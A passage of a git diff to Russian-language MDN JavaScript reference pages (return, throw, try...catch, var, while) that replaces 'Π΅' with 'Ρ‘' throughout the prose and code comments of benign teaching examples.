-<p>ΠŸΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°Β <code>return</code>Β Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π΅Ρ‘ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ прСкращаСтся. Π£ΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ возвращаСтся Π² мСсто Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. НапримСр, привСдСнная Π½ΠΈΠΆΠ΅ функция Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π²ΠΎΠ·Π²Π΅Π΄Π΅Π½Π½ΠΎΠ΅ Π² ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ своСго Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°, <code>x</code> (Π³Π΄Π΅ <code>x</code> – это число):</p>
+<p>ΠŸΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°Β <code>return</code>Β Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π΅Ρ‘ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ прСкращаСтся. Π£ΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ возвращаСтся Π² мСсто Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. НапримСр, привСдённая Π½ΠΈΠΆΠ΅ функция Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π²ΠΎΠ·Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠ΅ Π² ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ своСго Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°, <code>x</code> (Π³Π΄Π΅ <code>x</code> – это число):</p>
<pre class="brush: js">function square(x) {
return x * x;
diff --git a/files/ru/web/javascript/reference/statements/throw/index.html b/files/ru/web/javascript/reference/statements/throw/index.html
index 1ba0dc149a..7dfceb09c3 100644
--- a/files/ru/web/javascript/reference/statements/throw/index.html
+++ b/files/ru/web/javascript/reference/statements/throw/index.html
@@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Reference/Statements/throw
<h2 id="Description" name="Description">ОписаниС</h2>
-<p>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΈΠ½ΡΡ‚Ρ€ΡƒΠΊΡ†ΠΈΡŽ throw для гСнСрирования ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ. Когда Π²Ρ‹ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚Π΅ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ (throw), <em>Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅</em> Π·Π°Π΄Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ. КаТдоС ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… throw создаСт ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅:</p>
+<p>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΈΠ½ΡΡ‚Ρ€ΡƒΠΊΡ†ΠΈΡŽ throw для гСнСрирования ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ. Когда Π²Ρ‹ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚Π΅ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ (throw), <em>Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅</em> Π·Π°Π΄Π°Ρ‘Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ. КаТдоС ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… throw создаёт ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅:</p>
<pre class="brush: js">throw "Error2"; // Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ являСтся строка
throw 42; // Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ являСтся число 42
@@ -35,11 +35,11 @@ throw true; // Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ
<h3 id="Example:_Throw_an_object" name="Example:_Throw_an_object">ΠŸΡ€ΠΈΠΌΠ΅Ρ€: Π“Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π² качСствС ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ</h3>
-<p>МоТно ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π² качСствС ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ. Π—Π°Ρ‚Π΅ΠΌ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ссылку Π½Π° этот ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈ доступ ΠΊΠΎ всСм Π΅Π³ΠΎ свойствам Π² Π±Π»ΠΎΠΊΠ΅ catch. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ примСр создаСт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ошибки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΈΠΏΒ UserException, ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Π³Π΅Π½Π΅Ρ€Π°Ρ†ΠΈΠΈ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ.</p>
+<p>МоТно ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π² качСствС ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ. Π—Π°Ρ‚Π΅ΠΌ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ссылку Π½Π° этот ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈ доступ ΠΊΠΎ всСм Π΅Π³ΠΎ свойствам Π² Π±Π»ΠΎΠΊΠ΅ catch. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ примСр создаёт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ошибки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΈΠΏΒ UserException, ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Π³Π΅Π½Π΅Ρ€Π°Ρ†ΠΈΠΈ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ.</p>
<pre class="brush: js">function UserException(message) {
this.message = message;
- this.name = "Π˜ΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ";
+ this.name = "Π˜ΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ";
}
function getMonthName(mo) {
mo = mo-1; // НуТно ΡΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½ΠΎΠΌΠ΅Ρ€ мСсяца согласно индСксам массива (1=Jan, 12=Dec)
@@ -54,11 +54,11 @@ function getMonthName(mo) {
try {
// statements to try
- var myMonth = 15; // 15 находится Π²Π½Π΅ Π³Ρ€Π°Π½ΠΈΡ† массива, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡŽ
+ var myMonth = 15; // 15 находится Π²Π½Π΅ Π³Ρ€Π°Π½ΠΈΡ† массива, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡŽ
var monthName = getMonthName(myMonth);
} catch (e) {
monthName = "нСизвСстСн";
- logMyErrors(e.message, e.name); // ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ошибок
+ logMyErrors(e.message, e.name); // ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘ΠΌ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ошибок
}
</pre>
@@ -67,7 +67,7 @@ try {
<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ провСряСт, являСтся Π»ΠΈ строка, пСрСданная Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΏΠΎΡ‡Ρ‚ΠΎΠ²Ρ‹ΠΌ индСксом БША. Если индСкс ΠΈΠΌΠ΅Π΅Ρ‚ нСдопустимый Ρ„ΠΎΡ€ΠΌΠ°Ρ‚, Π±ΡƒΠ΄Π΅Ρ‚ сгСнСрировано ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ посрСдством создания ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, ΠΈΠΌΠ΅ΡŽΡ‰Π΅Π³ΠΎ Ρ‚ΠΈΠΏΒ <code>ZipCodeFormatException</code>.</p>
<pre class="brush: js">/*
- * Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ZipCode.
+ * Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ZipCode.
*
* ДопустимыС Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹ ΠΏΠΎΡ‡Ρ‚ΠΎΠ²ΠΎΠ³ΠΎ индСкса:
* 12345
@@ -125,16 +125,16 @@ function verifyZipCode(z) {
return z;
}
-a = verifyZipCode(95060); // Π²Π΅Ρ€Π½Π΅Ρ‚ 95060
-b = verifyZipCode(9560); // Π²Π΅Ρ€Π½Π΅Ρ‚ -1
-c = verifyZipCode("a"); // Π²Π΅Ρ€Π½Π΅Ρ‚ -1
-d = verifyZipCode("95060"); // Π²Π΅Ρ€Π½Π΅Ρ‚ 95060
-e = verifyZipCode("95060 1234"); // Π²Π΅Ρ€Π½Π΅Ρ‚ 95060 1234
+a = verifyZipCode(95060); // Π²Π΅Ρ€Π½Ρ‘Ρ‚ 95060
+b = verifyZipCode(9560); // Π²Π΅Ρ€Π½Ρ‘Ρ‚ -1
+c = verifyZipCode("a"); // Π²Π΅Ρ€Π½Ρ‘Ρ‚ -1
+d = verifyZipCode("95060"); // Π²Π΅Ρ€Π½Ρ‘Ρ‚ 95060
+e = verifyZipCode("95060 1234"); // Π²Π΅Ρ€Π½Ρ‘Ρ‚ 95060 1234
</pre>
<h3 id="Example:_Rethrow_an_exception" name="Example:_Rethrow_an_exception">ΠŸΡ€ΠΈΠΌΠ΅Ρ€: ΠŸΠΎΠ²Ρ‚ΠΎΡ€Π½Ρ‹ΠΉ выброс ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ</h3>
-<p>МоТно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ throw для ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠ³ΠΎ выброса ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ½ΠΎ Π±Ρ‹Π»ΠΎ ΠΏΠΎΠΉΠΌΠ°Π½ΠΎ. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ловится ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ с числовым Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΈ дСлаСтся ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½Ρ‹ΠΉ выброс, Ссли Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ большС 50. Β ΠŸΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ Π²Ρ‹Π±Ρ€ΠΎΡˆΠ΅Π½Π½ΠΎΠ΅ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ пСрСдаСтся Π΄Π°Π»Π΅Π΅ Π² Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ ΠΈΠ»ΠΈ Π΄ΠΎ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ уровня, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΈΠ΄ΠΈΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ.</p>
+<p>МоТно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ throw для ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠ³ΠΎ выброса ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ½ΠΎ Π±Ρ‹Π»ΠΎ ΠΏΠΎΠΉΠΌΠ°Π½ΠΎ. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ловится ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ с числовым Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΈ дСлаСтся ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½Ρ‹ΠΉ выброс, Ссли Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ большС 50. Β ΠŸΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ Π²Ρ‹Π±Ρ€ΠΎΡˆΠ΅Π½Π½ΠΎΠ΅ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ пСрСдаётся Π΄Π°Π»Π΅Π΅ Π² Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ ΠΈΠ»ΠΈ Π΄ΠΎ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ уровня, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΈΠ΄ΠΈΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ.</p>
<pre class="brush: js">try {
throw n; // бросаСм ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ с числовым Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ
diff --git a/files/ru/web/javascript/reference/statements/try...catch/index.html b/files/ru/web/javascript/reference/statements/try...catch/index.html
index 241bc90d83..a18bf95b37 100644
--- a/files/ru/web/javascript/reference/statements/try...catch/index.html
+++ b/files/ru/web/javascript/reference/statements/try...catch/index.html
@@ -86,7 +86,7 @@ catch (e) {
}
</pre>
-<p>Π‘Π»ΠΎΠΊ <code>catch</code> Π·Π°Π΄Π°Π΅Ρ‚ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ (<code>e</code> Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅) ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ (Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅ β€” Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠ΅ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΡƒΒ <code>throw</code>). ΠžΠ±Π»Π°ΡΡ‚ΡŒ видимости этого ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ограничиваСтся Π±Π»ΠΎΠΊΠΎΠΌΒ <code>catch</code>.</p>
+<p>Π‘Π»ΠΎΠΊ <code>catch</code> Π·Π°Π΄Π°Ρ‘Ρ‚ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ (<code>e</code> Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅) ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ (Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅ β€” Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠ΅ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΡƒΒ <code>throw</code>). ΠžΠ±Π»Π°ΡΡ‚ΡŒ видимости этого ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ограничиваСтся Π±Π»ΠΎΠΊΠΎΠΌΒ <code>catch</code>.</p>
<h3 id="Условный_Π±Π»ΠΎΠΊ_catch">Условный Π±Π»ΠΎΠΊΒ <code>catch</code></h3>
diff --git a/files/ru/web/javascript/reference/statements/var/index.html b/files/ru/web/javascript/reference/statements/var/index.html
index fd0ca7f862..78b2f5edcd 100644
--- a/files/ru/web/javascript/reference/statements/var/index.html
+++ b/files/ru/web/javascript/reference/statements/var/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Statements/var
---
<div>{{jsSidebar("Statements")}}</div>
-<p>ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <strong>varΒ </strong>ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, инициализируя Π΅Π΅, ΠΏΡ€ΠΈ нСобходимости.</p>
+<p>ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <strong>varΒ </strong>ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, инициализируя Π΅Ρ‘, ΠΏΡ€ΠΈ нСобходимости.</p>
<p>{{EmbedInteractiveExample("pages/js/statement-var.html")}}</p>
@@ -80,7 +80,7 @@ bla = 2;
<p>ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ объявлСниС ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΠΎΠ²Π°Π½ΠΎ Π²Ρ‹Π½ΠΎΡΠΈΡ‚ΡŒ Π² Π½Π°Ρ‡Π°Π»ΠΎ ΠΈΡ… области видимости (Π² Π½Π°Ρ‡Π°Π»ΠΎ глобального ΠΊΠΎΠ΄Π° ΠΈΠ»ΠΈ Π² Π½Π°Ρ‡Π°Π»ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ). Π­Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ ΠΏΠΎΠ½ΡΡ‚ΡŒ ΠΊΠ°ΠΊΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠ°Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ (Ρ‚.Π΅. ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌΠΈ), Π° ΠΊΠ°ΠΊΠΈΠ΅Β ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ Π² Ρ†Π΅ΠΏΠΈ областСй видимости (Ρ‚.Π΅. ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΌΠΈ).</p>
-<p>Π’Π°ΠΆΠ½ΠΎ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ подъСм Π±ΡƒΠ΄Π΅Ρ‚ Π²Π»ΠΈΡΡ‚ΡŒ Π½Π° объявлСниС ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, Π½ΠΎ Π½Π΅ Π½Π° ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ Π΅Π΅ значСния. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ присваиваСтся ΠΏΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° присваивания:</p>
+<p>Π’Π°ΠΆΠ½ΠΎ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ подъСм Π±ΡƒΠ΄Π΅Ρ‚ Π²Π»ΠΈΡΡ‚ΡŒ Π½Π° объявлСниС ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, Π½ΠΎ Π½Π΅ Π½Π° ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ Π΅Ρ‘ значСния. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ присваиваСтся ΠΏΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° присваивания:</p>
<pre class="brush: js">function do_something() {
console.log(bar); // Π²Ρ‹Π²Π΅Π΄Π΅Ρ‚ undefined
@@ -153,7 +153,7 @@ console.log(x, y);</pre>
<pre class="brush: js">var x = 0; // x объявлСна глобально, Π·Π°Ρ‚Π΅ΠΌ присваиваСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 0
-console.log(typeof z); // undefined, ΠΏΠΎΠΊΠ° Π΅Ρ‰Π΅ z Π½Π΅ сущСствуСт
+console.log(typeof z); // undefined, ΠΏΠΎΠΊΠ° Π΅Ρ‰Ρ‘ z Π½Π΅ сущСствуСт
function a() { // ΠΊΠΎΠ³Π΄Π° функция a Π²Ρ‹Π·Π²Π°Π½Π°,
var y = 2; // y ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚ΡΡ локально Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ a, Π·Π°Ρ‚Π΅ΠΌ присваиваСтся 2
@@ -163,10 +163,10 @@ function a() { // ΠΊΠΎΠ³Π΄Π° функция a Π²Ρ‹Π·Π²Π°Π½Π°,
function b() { // ΠΊΠΎΠ³Π΄Π° функция b Π²Ρ‹Π·Π²Π°Π½Π°
x = 3; // присваиваСтся 3 ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ глобальной x
y = 4; // присваиваСтся 4 ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ внСшнСй y
- z = 5; // создаСтся новая глобальная пСрСмСнная z ΠΈ присваиваСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 5.
+ z = 5; // создаётся новая глобальная пСрСмСнная z ΠΈ присваиваСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 5.
} // (ΠŸΠΎΡ€ΠΎΠΆΠ΄Π°Π΅Ρ‚ ReferenceError Π² strict mode(<em>строгом</em>Β Ρ€Π΅ΠΆΠΈΠΌΠ΅).)
- b(); // Π²Ρ‹Π·ΠΎΠ² b создаСт z ΠΊΠ°ΠΊ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½ΡƒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ
+ b(); // Π²Ρ‹Π·ΠΎΠ² b создаёт z ΠΊΠ°ΠΊ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½ΡƒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ
console.log(x, y, z); // 3 4 5
}
diff --git a/files/ru/web/javascript/reference/statements/while/index.html b/files/ru/web/javascript/reference/statements/while/index.html
index 1baf54a1f4..4c367fc488 100644
--- a/files/ru/web/javascript/reference/statements/while/index.html
+++ b/files/ru/web/javascript/reference/statements/while/index.html
@@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Reference/Statements/while
---
<div>{{jsSidebar("Statements")}}</div>
-<p><strong>ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ while</strong> создаСт Ρ†ΠΈΠΊΠ», Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‰ΠΈΠΉ Π·Π°Π΄Π°Π½Π½ΡƒΡŽ ΠΈΠ½ΡΡ‚Ρ€ΡƒΠΊΡ†ΠΈΡŽ, ΠΏΠΎΠΊΠ° истинно провСряСмоС условиС. ЛогичСскоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ условия вычисляСтся ΠΏΠ΅Ρ€Π΅Π΄ исполнСниСм Ρ‚Π΅Π»Π° Ρ†ΠΈΠΊΠ»Π°.</p>
+<p><strong>ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ while</strong> создаёт Ρ†ΠΈΠΊΠ», Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‰ΠΈΠΉ Π·Π°Π΄Π°Π½Π½ΡƒΡŽ ΠΈΠ½ΡΡ‚Ρ€ΡƒΠΊΡ†ΠΈΡŽ, ΠΏΠΎΠΊΠ° истинно провСряСмоС условиС. ЛогичСскоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ условия вычисляСтся ΠΏΠ΅Ρ€Π΅Π΄ исполнСниСм Ρ‚Π΅Π»Π° Ρ†ΠΈΠΊΠ»Π°.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
diff --git a/files/ru/web/javascript/reference/statements/with/index.html b/files/ru/web/javascript/reference/statements/with/index.html
index 208863d500..e28aedee90 100644
